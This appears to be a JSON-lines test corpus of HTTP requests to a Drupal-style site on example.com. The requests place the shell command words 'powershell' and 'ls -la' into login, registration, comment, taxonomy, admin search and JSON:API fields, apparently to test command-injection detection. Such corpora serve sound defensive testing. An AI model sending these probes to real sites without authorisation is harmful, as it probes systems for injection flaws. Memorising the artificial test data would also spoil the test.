{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=python3%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-iIZ0l558j-xqeMwGupeCbJQrxGqJTGU0hf0Qgdflpqg&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=powershell&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=powershell&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-QxeeEtI4teTXZHcS8vw668mg82J8oWb3sweKrB8Xz60&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=powershell%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=powershell&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"powershell\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"powershell\", \"description\": {\"value\": \"powershell\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"powershell\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"powershell\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"powershell\"}}}"}
{"method": "GET", "target": "/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fls%20-la&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=ls%20-la&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"ls -la\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=ls+-la&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=ls+-la&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-fCKIAUgqp-X5fvv-nb6RTL0prPHa9QTUV4pR5LWsQaM&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-OhQW68GDpyCKebeLaSsM5khaGcE9MPawn_162h_BrvQ&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-_ZMo82uMFFnev4u0soP_Mnb7N26boS2YTeQYrKhnVk4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-otu04bFn0cPoVh6O5Cmmz4UIldaRE65QvUT_bcwd7Nk&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QPu6cQJNnWjY9FG_kdwApvRBM9O4CZtn3_D6IEt-YYs&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8bBu9xb8ywvW4JS_f8YTClqxyYXplGObpwzVt6q-rkQ&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=powershell%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ky_KD9zOO4hf2S4M5gm_ocUrrIHiNC33Kg38Rq2EMy8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=ls+-la&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=ls+-la&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-4-VtoJyDzgEMcVhGiG9EGrEMPZlIEZhDZU1-ngjb8uQ&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=ls--la%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=ls+-la&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"ls -la\"}]}"}
